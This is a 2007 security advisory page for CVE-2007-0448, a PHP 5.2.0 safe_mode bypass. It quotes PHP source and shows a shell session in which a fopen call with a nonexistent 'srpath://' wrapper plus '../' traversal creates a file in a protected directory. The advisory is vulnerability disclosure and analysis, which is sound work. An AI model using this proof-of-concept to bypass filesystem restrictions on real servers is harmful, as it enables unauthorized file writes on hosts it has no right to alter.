Bug: PHP 5.2.0 safe_mode bypass (by Writing Mode) ( Ascii Version )

Search:
WLB2

PHP 5.2.0 safe_mode bypass (by Writing Mode)

Published
Credit
Risk
2007.01.25
Maksymilian Arciemowicz
High
CWE
CVE
Local
Remote
N/A
CVE-2007-0448
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

[PHP 5.2.0 safe_mode bypass (by Writing Mode)]

Author: Maksymilian Arciemowicz
Date:
- - Written: 02.12.2006
- - Public: 24.01.2007
SecurityAlert Id: 44
CVE: CVE-2007-0448
SecurityRisk: High
Status: In progress
Affected Software: PHP 5.2.0
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique
PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated
pages quickly.

A nice introduction to PHP by Stig Sather Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend
website. Also, much of the PHP Conference Material is freely available.

- --- 1. safe_mode bypass by writing mode ---
In PHP 5.2.0 it is possible to bypass safe_mode using writing mode. Let's see fopen() function:

- -845-845--- Code from PHP520 ext/standard/file.c [START]
stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) | ENFORCE_SAFE_MODE |
REPORT_ERRORS, NULL, context);
- -845-845--- Code from PHP520 ext/standard/file.c [END]

Let's see to safe_mode.c

- -142-152--- Code from main/safe_mode.c [START]
ret = VCWD_STAT(path, &sb);
if (ret < 0) {
if ((flags & CHECKUID_NO_ERRORS) == 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename);
}
return 0;
}
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
return 1;
- -142-152--- Code from main/safe_mode.c [END]

if duid == php_getuid(), safe_mode is bypassed..

#define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC)

Let's see to virtual_stat() function.

- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START]
CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC)
{
cwd_state new_state;
int retval;

CWD_STATE_COPY(&new_state, &CWDG(cwd));
if (virtual_file_ex(&new_state, path, NULL, 1)) {
return -1;
}

retval = stat(new_state.cwd, buf);

CWD_STATE_FREE(&new_state);
return retval;
}
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END]

So, we can try to create file /dir/pliczek.

cxib# uname -a
FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC 2007
root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP amd64
cxib# php -r 'fopen("/dir/pliczek", "a");'

Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not allowed to access /dir owned by
uid 80 in Command line code on line 1

Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in Command line code on line 1
cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek", "a");'

Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not allowed to access /dir owned by
uid 80 in Command line code on line 1

Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to open stream: Invalid argument in Command
line code on line 1

cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
cxib# ls -la /dir/pliczek
- -rw-r--r-- 1 cxib www 0 Jan 19 21:26 /dir/pliczek

Works!

srpath dosen't exist and if you are using write mode that safe_mode change path to file and duid == php_getuid().
For example.

fopen("compress.zlib://../../../../../../../dir/pliczek", "a");

Safe_mode is removed prefix and VCWD_STAT("/dir/pliczek", &sb);
Because you wound create file "pliczek" in directory "/dir", that is only permision do
"dir" checked.

If you use

fopen("srpath://../../../../../../../dir/pliczek", "a");

wher srpath dosen't exists, that function stat is VCWD_STAT("/dir_wher_are_you/srpath:", &sb) return 1.

and stat() give you permision from dir "/dir_wher_are_you/".

This issue has been tested on FreeBSD 6.1 6.2 i386 and FreeBSD 6.1 6.2 amd64 with PHP 5.2.0 REL.
We have sent this bug to PHP Team, but this bug dosen't exist on PHP 5.2.1RC.


- --- 2. Contact ---
Author: Maksymilian Arciemowicz

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version